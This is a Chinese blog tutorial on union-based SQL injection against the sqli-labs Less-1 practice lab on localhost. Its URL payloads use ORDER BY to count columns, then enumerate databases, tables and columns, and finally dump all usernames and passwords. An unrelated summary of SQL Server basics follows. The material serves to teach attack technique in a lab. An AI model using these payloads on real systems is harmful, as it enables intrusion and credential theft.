Sql 注入进阶理解

知道了数据库注入怎么用了,就让我们更深入吧ヾ(≧▽≦*)o

利用group查询列数

从昨天的Less-1继续讲吧,我们知道id周围有个’'这两个符号,我们想加点菜最好围绕着id=1’后面加菜


怎么样加菜才能知道列数呢?


当然是利用order by啦,这个是指定的列进行排序.


所以我们要在后面加上order by 数字,就可以知道是几列了


那么让我们加点菜吧,直接试一下是不是4列

http://localhost:88/Less-1/?id=1’ order by 4 --+

欸?没有4列,那就3列试试

http://localhost:88/Less-1/?id=1’ order by 3 --+

诶?数据有3列

那么让我们换一种方式试一下

http://localhost:88/Less-1/?id=-1’ union select 1,2,3 --+

数据怎么变成了用户为2 密码为3呢?之前不是dump吗?

不要着急,我们不妨去数据库后台看看

我们先进行执行两个语句看看,先执行union前面的,为空数据

执行后面的语句试试

返回了个1,2,3


你可能会问,不对啊,你写的id是-1啊,但凡学点数据库的都知道从0开始,你为什么不在id后面写上1呢?


那让我们把-1改成1试试

结果正常了,但这个仍不是我想要的结果,为何?

因为我只是想知道他有多少列

那么你有可能会蒙了,那为啥改成-1呢?

因为我们想要开发者想查到的让他查不到,从而改成我们想要查到的.

那么这是怎么实现的呢?

不着急,我们不妨看一下源代码

问题就出在这句话

他只要第一行,你返回两句它也是只要第一句话啊

为啥又变成两行了,因为union是联合查询,会把两次查询的语句合在一起发送过去.一行是开发者想要查到的,一个是我们想要查到的


但 **mysql_fetch_array()**只认第一行


所以我们要让开发者想要查到的查不到,直接转为我们想要查到的输出结果即可

这就是为何在id后面改成了-1,因为第一行的数据转为了我们想要的数据.

知道了-1怎么来的,那么接下来语句就很好理解了


正菜开始:

  1. 爆出表名,列名,字段,用户名和密码。

http://localhost:88/Less-1/?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata --+

原谅我这是在我的云服务器里弄的,所以要打上很厚的码

在这里我们看一下数据库,我们知道union前面的select是返回空值,主要是后面的查询了

话不多说,直接去后台数据库看一眼

有些眼尖的同学可能会问后面的 --+怎么不见了,因为–在sql中是打注释,后面的直接不执行,而加号在url中变成了空格,我们可以去看看转送了什么数据

是的,加号消失了,我们加深下颜色看看

后面变深的似乎还有一个空格,这便是加号的存在意义了


  1. 爆当前security数据库的表

http://localhost:88/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+

去后台看看数据库查到了什么

select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

所有的表都在上面了

  1. 爆user表的列

http://localhost:88/Less-1?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+

查看后台数据库

select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
  1. 爆所有用户名和密码

http:/localhost:88/Less-1/?id=-1’ union select 1,group_concat(concat_ws(‘:’,username,password)),3 from users --+

后台数据库查询

select 1,group_concat(concat_ws(':',username,password)),3 from users

你学废了吗?

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL Server的进阶包括以下几个方面: 1. 更新数据:使用UPDATE语句可以更新数据库中的数据。语法为"UPDATE [view_name] SET column_name = new_number WHERE 条件"。 2. 使用通配符进行模糊查询:在SQL Server中,可以使用通配符进行模糊查询。例如,使用"LIKE"关键字和通配符"%"可以匹配任意字符。例如,"SELECT * FROM Table WHERE field LIKE '%!_%' ESCAPE '!'"可以找到包含下划线的值。 3. 对查询结果进行排序:可以使用"ORDER BY"子句对查询结果进行排序。可以按照一个或多个列进行排序,可以指定升序(ASC)或降序(DESC)。例如,"SELECT * FROM Table ORDER BY column_name ASC"将按照指定列升序排列查询结果。 4. 子查询:子查询是一个查询中嵌套在主查询中的查询。可以使用子查询来获取更复杂的查询结果。例如,"SELECT Sno, Sname, Ssex FROM Student WHERE Sdept IN(SELECT Sdept FROM Student WHERE Sname='钟文辉')"可以查询出和名字为'钟文辉'的学生同一系别的学生的学号、姓名和性别。 请注意,以上是SQL Server进阶的一些常见概念和技巧,还有更多的进阶内容可以进一步学习和应用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [SQL Server 入门学习总结---进阶篇](https://blog.csdn.net/My_heart_/article/details/64125218)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [速学Sql Server从基础到进阶](https://blog.csdn.net/weixin_45364220/article/details/123472526)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值